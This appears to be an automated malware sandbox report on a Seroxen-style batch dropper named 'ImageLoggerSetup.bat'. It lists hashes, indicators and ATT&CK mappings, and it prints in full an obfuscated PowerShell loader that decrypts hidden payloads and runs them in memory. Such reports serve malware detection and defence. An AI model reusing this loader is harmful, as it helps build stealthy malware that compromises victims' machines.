a840fb6ea2354c5bdd1b531aa548620ed7c962a4241e4a384b03939eca8345b8

General

Target

ImageLoggerSetup.bat
Size

14.8MB
MD5

ed58dfa2692a12ce30420dea2ecf0a32
SHA1

4f9462f8b957e8ef949462b1c24e644c9a8e3c5f
SHA256

a840fb6ea2354c5bdd1b531aa548620ed7c962a4241e4a384b03939eca8345b8
SHA512

53d2f7ff22a2867f76fe7f3b8f85989473981a60b24dbac96037f7a845045909975e689894da873730f1ccdb57cf60e3303fe9ce9e7c9df982910fb9466e606e
SSDEEP

49152:bseEmeHoJMcGjxqapB4EE9lEB0+ffIWtdRABKQoXKtOAVynWULWFZTksmlXGGmqQ:r

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1884	ImageLoggerSetup.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2588	cmd.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1884	ImageLoggerSetup.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1884	ImageLoggerSetup.bat.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2588 wrote to memory of 2292	2588	cmd.exe	29
PID 2588 wrote to memory of 2292	2588	cmd.exe	29
PID 2588 wrote to memory of 2292	2588	cmd.exe	29
PID 2292 wrote to memory of 2324	2292	net.exe	30
PID 2292 wrote to memory of 2324	2292	net.exe	30
PID 2292 wrote to memory of 2324	2292	net.exe	30
PID 2588 wrote to memory of 1884	2588	cmd.exe	31
PID 2588 wrote to memory of 1884	2588	cmd.exe	31
PID 2588 wrote to memory of 1884	2588	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ImageLoggerSetup.bat"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2588
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2324
- C:\Users\Admin\AppData\Local\Temp\ImageLoggerSetup.bat.exe
  "ImageLoggerSetup.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function zGMpU($Diklo){ $euMEG=[System.Security.Cryptography.Aes]::Create(); $euMEG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $euMEG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $euMEG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ug72YzxyVYPmlrm+x4EM5RHptRG7xYvnqK1UTiyqGuU='); $euMEG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ycgtXnmXW7ffnPVJ9krK2A=='); $yDwRi=$euMEG.CreateDecryptor(); $return_var=$yDwRi.TransformFinalBlock($Diklo, 0, $Diklo.Length); $yDwRi.Dispose(); $euMEG.Dispose(); $return_var;}function hjzyY($Diklo){ $vTgwS=New-Object System.IO.MemoryStream(,$Diklo); $TWbJf=New-Object System.IO.MemoryStream; $eXkng=New-Object System.IO.Compression.GZipStream($vTgwS, [IO.Compression.CompressionMode]::Decompress); $eXkng.CopyTo($TWbJf); $eXkng.Dispose(); $vTgwS.Dispose(); $TWbJf.Dispose(); $TWbJf.ToArray();}function DaWCW($Diklo,$wkijr){ $HVCAp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$Diklo); $mUjcp=$HVCAp.EntryPoint; $mUjcp.Invoke($null, $wkijr);}$YVPRN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ImageLoggerSetup.bat').Split([Environment]::NewLine);foreach ($rtqcE in $YVPRN) { if ($rtqcE.StartsWith('SEROXEN')) { $ZGZrM=$rtqcE.Substring(7); break; }}$AKego=[string[]]$ZGZrM.Split('\');$KLPvJ=hjzyY (zGMpU ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($AKego[0])));$UObWI=hjzyY (zGMpU ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($AKego[1])));DaWCW $UObWI (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));DaWCW $KLPvJ (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\ImageLoggerSetup.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\ImageLoggerSetup.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1884-7-0x000000001B100000-0x000000001B3E2000-memory.dmp

Filesize
2.9MB

Download
memory/1884-8-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/1884-9-0x000007FEF56C0000-0x000007FEF605D000-memory.dmp

Filesize
9.6MB

Download
memory/1884-10-0x000007FEF56C0000-0x000007FEF605D000-memory.dmp

Filesize
9.6MB

Download
memory/1884-12-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/1884-11-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/1884-13-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/1884-14-0x000007FEF56C0000-0x000007FEF605D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing